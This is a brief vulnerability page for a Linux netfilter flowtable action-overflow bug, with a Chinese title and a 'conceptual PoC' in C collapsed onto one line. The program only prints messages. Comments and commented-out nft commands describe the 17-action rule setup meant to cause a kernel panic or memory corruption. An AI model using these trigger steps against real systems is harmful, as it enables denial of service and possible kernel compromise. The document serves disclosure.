CVE-2026-43329: Linux内核netfilter流表操作数越界漏洞

/* * Conceptual PoC for CVE-2026-43329 * Triggering the flowtable action limit overflow in Linux Kernel Netfilter. * This requires a system with IPv6, netfilter flowtable, and HW offload support. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main() { printf("[+] PoC for CVE-2026-43329: Netfilter Flowtable Action Overflow\n"); printf("[+] Attempting to configure rules that exceed action limit (17 > 16)\n"); // In a real exploit scenario, the attacker would use netlink or libcalls to: // 1. Create a bridge/interface with HW offload support. // 2. Configure an IPv6 flowtable. // 3. Add a rule with: Ethernet Mangling + SNAT + DNAT + QinQ + Redirect. // Total actions = 4 (Eth) + 4 (SNAT) + 4 (DNAT) + 4 (VLAN) + 1 (Redir) = 17. // Pseudo-code for rule creation // system("nft add table ip6 filter"); // system("nft add flowtable ip6 filter f { hook ingress priority 0 ; devices = { eth0 } ; }"); // system("nft add chain ip6 filter forward { type filter hook forward priority 0 ; }"); // system("nft add rule ip6 filter forward flow offload @f"); // (Assuming traffic matches complex NAT/VLAN criteria) printf("[!] Triggering traffic to cause kernel panic or memory corruption...\n"); // send_specific_ipv6_traffic(); return 0; }